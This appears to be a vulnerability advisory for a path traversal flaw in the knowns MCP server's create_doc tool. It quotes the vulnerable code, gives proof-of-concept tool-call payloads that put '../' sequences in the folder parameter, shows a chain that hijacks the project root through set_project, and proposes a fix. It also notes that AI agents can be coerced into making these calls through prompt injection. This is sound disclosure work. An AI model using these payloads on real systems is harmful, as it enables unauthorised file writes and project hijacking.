Vulnerability: Path Traversal in knowns MCP create_doc tool (.md File Write Outside Intended Directory)
Vulnerable project: https://github.com/knowns-dev/knowns
- Tested vulnerable commit (latest as of 2026-02-12): https://github.com/knowns-dev/knowns/commit/62fb0daaa0b9e66fce1d42c02b5bb519367cf669
- Affected versions: all versions up to and including v0.11.4
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
- Impact:
.mdfile write and arbitrary directory creation outside the intended.knowns/docs/directory
- Severity: Medium
- Risk: Medium
- Note: Impact is significantly mitigated by the fact that the file extension is hardcoded to
.mdand the filename is sanitized to[a-z0-9-]only. This is NOT arbitrary file write — the attacker cannot control the file extension or write non-markdown files.
- Service: knowns MCP Server (stdio transport)
- Tool/Action:
create_doc - Vulnerable parameter:
folder - Entry point: MCP
CallToolRequestvia stdio
This issue is exploitable under either of the following common deployment models:
-
Direct MCP client access
- The knowns MCP server is running and an MCP client (e.g., Claude Desktop, Cursor, or any MCP-compatible IDE) is connected via stdio.
- An attacker with access to the MCP client can invoke
create_docwith a maliciousfolderparameter.
-
Indirect invocation via an AI agent (prompt injection / tool abuse)
- knowns is integrated as an MCP tool provider for an LLM-based agent.
- An attacker can coerce the AI agent into calling
create_docwith a craftedfoldervalue containing path traversal sequences, resulting in arbitrary file writes outside the intended directory.
The create_doc MCP tool handler accepts a folder parameter to specify a subdirectory under .knowns/docs/ where the new document should be created. The handler only strips leading and trailing slashes from folder but does not sanitize or reject ../ path traversal sequences:
if (input.folder) {
const folderPath = input.folder.replace(/^\/|\/$/g, ""); // Only strips leading/trailing slashes
targetDir = join(getDocsDir(), folderPath); // "../../../" is NOT filtered
relativePath = join(folderPath, filename);
if (!existsSync(targetDir)) {
await mkdir(targetDir, { recursive: true }); // Creates arbitrary directories
}
}
const filepath = join(targetDir, filename);
await writeFile(filepath, fileContent, "utf-8"); // Writes to arbitrary locationThe title parameter is safely sanitized by titleToFilename() (which strips all non-alphanumeric characters and replaces them with hyphens), and the file extension is hardcoded to .md. This means:
- The attacker cannot control the file extension (no
.sh,.py,.bashrc, etc.) - The attacker cannot inject special characters into the filename
- The attacker can control the directory path and the file content
- Null byte injection (
\x00) does not work in Node.jsfsmodule — it throwsERR_INVALID_ARG_VALUE
While the .md extension constraint significantly limits exploitability (no script execution, no crontab abuse, no SSH key injection), the path traversal itself is a real security defect that violates the principle of least privilege.
Additionally, this vulnerability can be chained with the set_project tool: by first using create_doc to create a .knowns/ directory structure at an arbitrary location, an attacker can then call set_project to hijack the project root to that location, further amplifying the attack surface for all subsequent MCP operations.
File: src/mcp/handlers/doc.ts, lines 494-504
if (input.folder) {
const folderPath = input.folder.replace(/^\/|\/$/g, "");
targetDir = join(getDocsDir(), folderPath);
relativePath = join(folderPath, filename);
if (!existsSync(targetDir)) {
await mkdir(targetDir, { recursive: true });
}
}
const filepath = join(targetDir, filename);
// ...
await writeFile(filepath, fileContent, "utf-8");.mdfile creation at any writable filesystem location (extension is hardcoded — NOT arbitrary file write)- Arbitrary directory creation via
mkdir(targetDir, { recursive: true }) - File content is fully attacker-controlled (via the
contentparameter), but only written as.md - Can be chained with
set_projectto hijack project root (by creating.knowns/at an attacker-chosen path, then callingset_projectto switch to it) - Cannot overwrite existing files (the
existsSynccheck prevents this — only writes if the target file does not already exist)
- Write executable scripts (
.sh,.py,.js, etc.) — extension is hardcoded to.md - Overwrite
~/.bashrc,~/.ssh/authorized_keys, crontab entries, etc. - Achieve direct code execution — crontab and shell interpreters do not execute
.mdfiles - Read arbitrary files (this is a write-only vulnerability)
- Start the knowns MCP server:
npx tsx --import ./scripts/md-loader.mjs src/mcp/server.ts - Connect an MCP client (e.g., MCP Inspector) to the server via stdio.
- Call
get_current_projectto confirm the current project root. - Call
create_docwith afolderparameter containing path traversal sequences.
Goal: demonstrate arbitrary file write outside the .knowns/docs/ directory without destructive operations.
{
"title": "traversal-level1",
"folder": "../../tmp/knowns-poc-traversal",
"content": "# PoC Level 1\nEscaped .knowns/docs/ — written to ~/tmp/"
}Expected result:
- File
traversal-level1.mdis created at<projectRoot>/tmp/knowns-poc-traversal/traversal-level1.md, which is outside.knowns/docs/.
{
"title": "traversal-level2",
"folder": "../../../../tmp/knowns-poc-traversal",
"content": "# PoC Level 2\nEscaped home directory — written to /tmp/"
}Expected result:
- File
traversal-level2.mdis created at/tmp/knowns-poc-traversal/traversal-level2.md, completely outside the project directory.
// Step 1: Create .knowns structure at attacker-chosen location
// Tool: create_doc
{
"title": "bootstrap",
"folder": "../../../../tmp/knowns-hijack/.knowns/docs",
"content": "bootstrap"
}
// Step 2: Hijack project root
// Tool: set_project
{ "projectRoot": "/tmp/knowns-hijack" }
// Step 3: Verify hijack
// Tool: get_current_project
{}
// Returns: { "projectRoot": "/tmp/knowns-hijack", "isValid": true }Expected result:
set_projectsucceeds because.knowns/now exists at/tmp/knowns-hijack/.knowns/- All subsequent MCP operations use
/tmp/knowns-hijackas the project root
- All three PoCs confirmed successful on macOS with knowns v0.11.4 (commit 62fb0da)
- Validate
folderagainst path traversal by resolving the full path and verifying it remains under the intended base directory:import { resolve } from "node:path"; const resolvedDir = resolve(getDocsDir(), folderPath); if (!resolvedDir.startsWith(resolve(getDocsDir()))) { throw new Error("Path traversal detected in folder parameter"); } targetDir = resolvedDir;
- Additionally reject path components containing
..as a defense-in-depth measure. - Apply the same path validation to
resolveDocPath()(used byget_docandupdate_doc) which has a similar vulnerability with thepathparameter. - Add regression tests for path traversal payloads in
folderandpathparameters.
- Tested vulnerable commit (latest as of 2026-02-12): https://github.com/knowns-dev/knowns/commit/62fb0daaa0b9e66fce1d42c02b5bb519367cf669
- CWE-22: https://cwe.mitre.org/data/definitions/22.html
- knowns npm package: https://www.npmjs.com/package/knowns